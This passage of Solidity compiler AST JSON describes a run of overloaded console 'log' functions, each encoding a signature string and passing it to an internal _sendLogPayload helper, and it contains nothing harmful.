memory)"}},"id":29994,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"54046:70:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29986,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"54030:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29995,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"54030:87:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29996,"nodeType":"ExpressionStatement","src":"54030:87:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"53963:3:15","parameters":{"id":29984,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29977,"mutability":"mutable","name":"p0","nameLocation":"53972:2:15","nodeType":"VariableDeclaration","scope":29998,"src":"53967:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29976,"name":"bool","nodeType":"ElementaryTypeName","src":"53967:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29979,"mutability":"mutable","name":"p1","nameLocation":"53981:2:15","nodeType":"VariableDeclaration","scope":29998,"src":"53976:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29978,"name":"bool","nodeType":"ElementaryTypeName","src":"53976:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29981,"mutability":"mutable","name":"p2","nameLocation":"53993:2:15","nodeType":"VariableDeclaration","scope":29998,"src":"53985:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":29980,"name":"address","nodeType":"ElementaryTypeName","src":"53985:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":29983,"mutability":"mutable","name":"p3","nameLocation":"54002:2:15","nodeType":"VariableDeclaration","scope":29998,"src":"53997:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29982,"name":"bool","nodeType":"ElementaryTypeName","src":"53997:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"53966:39:15"},"returnParameters":{"id":29985,"nodeType":"ParameterList","parameters":[],"src":"54020:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30021,"nodeType":"FunctionDefinition","src":"54130:176:15","nodes":[],"body":{"id":30020,"nodeType":"Block","src":"54199:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c626f6f6c2c616464726573732c6164647265737329","id":30012,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"54249:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_f4880ea4063b4f7e3c68468bb4a7a3f1502aa7497bce4fb0ba02ec0450f047f4","typeString":"literal_string \"log(bool,bool,address,address)\""},"value":"log(bool,bool,address,address)"},{"id":30013,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30000,"src":"54283:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30014,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30002,"src":"54287:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30015,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30004,"src":"54291:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30016,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30006,"src":"54295:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f4880ea4063b4f7e3c68468bb4a7a3f1502aa7497bce4fb0ba02ec0450f047f4","typeString":"literal_string \"log(bool,bool,address,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":30010,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"54225:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30011,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"54229:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"54225:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30017,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"54225:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30009,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"54209:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30018,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"54209:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30019,"nodeType":"ExpressionStatement","src":"54209:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"54139:3:15","parameters":{"id":30007,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30000,"mutability":"mutable","name":"p0","nameLocation":"54148:2:15","nodeType":"VariableDeclaration","scope":30021,"src":"54143:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29999,"name":"bool","nodeType":"ElementaryTypeName","src":"54143:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30002,"mutability":"mutable","name":"p1","nameLocation":"54157:2:15","nodeType":"VariableDeclaration","scope":30021,"src":"54152:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30001,"name":"bool","nodeType":"ElementaryTypeName","src":"54152:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30004,"mutability":"mutable","name":"p2","nameLocation":"54169:2:15","nodeType":"VariableDeclaration","scope":30021,"src":"54161:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30003,"name":"address","nodeType":"ElementaryTypeName","src":"54161:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30006,"mutability":"mutable","name":"p3","nameLocation":"54181:2:15","nodeType":"VariableDeclaration","scope":30021,"src":"54173:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30005,"name":"address","nodeType":"ElementaryTypeName","src":"54173:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"54142:42:15"},"returnParameters":{"id":30008,"nodeType":"ParameterList","parameters":[],"src":"54199:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30044,"nodeType":"FunctionDefinition","src":"54312:182:15","nodes":[],"body":{"id":30043,"nodeType":"Block","src":"54384:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c75696e743235362c75696e7432353629","id":30035,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"54434:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_7bf181a13b51d775e7d4339fb4fee9749d9226fa1720a2ae5e3183ab5674d16e","typeString":"literal_string \"log(bool,address,uint256,uint256)\""},"value":"log(bool,address,uint256,uint256)"},{"id":30036,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30023,"src":"54471:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30037,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30025,"src":"54475:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30038,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30027,"src":"54479:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30039,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30029,"src":"54483:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_7bf181a13b51d775e7d4339fb4fee9749d9226fa1720a2ae5e3183ab5674d16e","typeString":"literal_string \"log(bool,address,uint256,uint256)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":30033,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"54410:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30034,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"54414:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"54410:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30040,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"54410:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30032,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"54394:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30041,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"54394:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30042,"nodeType":"ExpressionStatement","src":"54394:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"54321:3:15","parameters":{"id":30030,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30023,"mutability":"mutable","name":"p0","nameLocation":"54330:2:15","nodeType":"VariableDeclaration","scope":30044,"src":"54325:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30022,"name":"bool","nodeType":"ElementaryTypeName","src":"54325:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30025,"mutability":"mutable","name":"p1","nameLocation":"54342:2:15","nodeType":"VariableDeclaration","scope":30044,"src":"54334:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30024,"name":"address","nodeType":"ElementaryTypeName","src":"54334:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30027,"mutability":"mutable","name":"p2","nameLocation":"54354:2:15","nodeType":"VariableDeclaration","scope":30044,"src":"54346:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30026,"name":"uint256","nodeType":"ElementaryTypeName","src":"54346:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30029,"mutability":"mutable","name":"p3","nameLocation":"54366:2:15","nodeType":"VariableDeclaration","scope":30044,"src":"54358:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30028,"name":"uint256","nodeType":"ElementaryTypeName","src":"54358:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"54324:45:15"},"returnParameters":{"id":30031,"nodeType":"ParameterList","parameters":[],"src":"54384:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30067,"nodeType":"FunctionDefinition","src":"54500:187:15","nodes":[],"body":{"id":30066,"nodeType":"Block","src":"54578:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c75696e743235362c737472696e6729","id":30058,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"54628:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_51f09ff8d49d8535177ce9f46f86e22d6e0ebf6aab24e3ad1fe351dec9cb8af7","typeString":"literal_string \"log(bool,address,uint256,string)\""},"value":"log(bool,address,uint256,string)"},{"id":30059,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30046,"src":"54664:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30060,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30048,"src":"54668:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30061,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30050,"src":"54672:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30062,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30052,"src":"54676:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_51f09ff8d49d8535177ce9f46f86e22d6e0ebf6aab24e3ad1fe351dec9cb8af7","typeString":"literal_string \"log(bool,address,uint256,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":30056,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"54604:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30057,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"54608:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"54604:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30063,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"54604:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30055,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"54588:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30064,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"54588:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30065,"nodeType":"ExpressionStatement","src":"54588:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"54509:3:15","parameters":{"id":30053,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30046,"mutability":"mutable","name":"p0","nameLocation":"54518:2:15","nodeType":"VariableDeclaration","scope":30067,"src":"54513:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30045,"name":"bool","nodeType":"ElementaryTypeName","src":"54513:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30048,"mutability":"mutable","name":"p1","nameLocation":"54530:2:15","nodeType":"VariableDeclaration","scope":30067,"src":"54522:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30047,"name":"address","nodeType":"ElementaryTypeName","src":"54522:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30050,"mutability":"mutable","name":"p2","nameLocation":"54542:2:15","nodeType":"VariableDeclaration","scope":30067,"src":"54534:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30049,"name":"uint256","nodeType":"ElementaryTypeName","src":"54534:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30052,"mutability":"mutable","name":"p3","nameLocation":"54560:2:15","nodeType":"VariableDeclaration","scope":30067,"src":"54546:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":30051,"name":"string","nodeType":"ElementaryTypeName","src":"54546:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"54512:51:15"},"returnParameters":{"id":30054,"nodeType":"ParameterList","parameters":[],"src":"54578:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30090,"nodeType":"FunctionDefinition","src":"54693:176:15","nodes":[],"body":{"id":30089,"nodeType":"Block","src":"54762:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c75696e743235362c626f6f6c29","id":30081,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"54812:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_d6019f1c844577cb799272d8b580ae7d31e1d26be8513d99f3a91ca8ea67c958","typeString":"literal_string \"log(bool,address,uint256,bool)\""},"value":"log(bool,address,uint256,bool)"},{"id":30082,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30069,"src":"54846:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30083,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30071,"src":"54850:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30084,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30073,"src":"54854:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30085,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30075,"src":"54858:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_d6019f1c844577cb799272d8b580ae7d31e1d26be8513d99f3a91ca8ea67c958","typeString":"literal_string \"log(bool,address,uint256,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":30079,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"54788:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30080,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"54792:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"54788:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30086,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"54788:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30078,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"54772:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30087,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"54772:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30088,"nodeType":"ExpressionStatement","src":"54772:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"54702:3:15","parameters":{"id":30076,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30069,"mutability":"mutable","name":"p0","nameLocation":"54711:2:15","nodeType":"VariableDeclaration","scope":30090,"src":"54706:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30068,"name":"bool","nodeType":"ElementaryTypeName","src":"54706:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30071,"mutability":"mutable","name":"p1","nameLocation":"54723:2:15","nodeType":"VariableDeclaration","scope":30090,"src":"54715:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30070,"name":"address","nodeType":"ElementaryTypeName","src":"54715:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30073,"mutability":"mutable","name":"p2","nameLocation":"54735:2:15","nodeType":"VariableDeclaration","scope":30090,"src":"54727:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30072,"name":"uint256","nodeType":"ElementaryTypeName","src":"54727:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30075,"mutability":"mutable","name":"p3","nameLocation":"54744:2:15","nodeType":"VariableDeclaration","scope":30090,"src":"54739:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30074,"name":"bool","nodeType":"ElementaryTypeName","src":"54739:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"54705:42:15"},"returnParameters":{"id":30077,"nodeType":"ParameterList","parameters":[],"src":"54762:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":30113,"nodeType":"FunctionDefinition","src":"54875:182:15","nodes":[],"body":{"id":30112,"nodeType":"Block","src":"54947:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c616464726573732c75696e743235362c6164647265737329","id":30104,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"54997:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_136b05dd56dbfa6e97805ce657954968bb4ea366eef252c9fa3aec31b1aa7ebd","typeString":"literal_string \"log(bool,address,uint256,address)\""},"value":"log(bool,address,uint256,address)"},{"id":30105,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30092,"src":"55034:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":30106,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30094,"src":"55038:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":30107,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30096,"src":"55042:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":30108,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":30098,"src":"55046:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_136b05dd56dbfa6e97805ce657954968bb4ea366eef252c9fa3aec31b1aa7ebd","typeString":"literal_string \"log(bool,address,uint256,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":30102,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"54973:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":30103,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"54977:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"54973:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":30109,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"54973:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":30101,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"54957:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":30110,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"54957:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":30111,"nodeType":"ExpressionStatement","src":"54957:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"54884:3:15","parameters":{"id":30099,"nodeType":"ParameterList","parameters":[{"constant":false,"id":30092,"mutability":"mutable","name":"p0","nameLocation":"54893:2:15","nodeType":"VariableDeclaration","scope":30113,"src":"54888:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":30091,"name":"bool","nodeType":"ElementaryTypeName","src":"54888:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":30094,"mutability":"mutable","name":"p1","nameLocation":"54905:2:15","nodeType":"VariableDeclaration","scope":30113,"src":"54897:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":30093,"name":"address","nodeType":"ElementaryTypeName","src":"54897:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":30096,"mutability":"mutable","name":"p2","nameLocation":"54917:2:15","nodeType":"VariableDeclaration","scope":30113,"src":"54909:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":30095,"name":"uint256","nodeType":"ElementaryTypeName","src":"54909:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":30098,"mutability":"mutable","name":"p3","nameLocation":"54929:2:15","nodeType":"VariableDeclaration","scope":30113,"src":"54921:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"t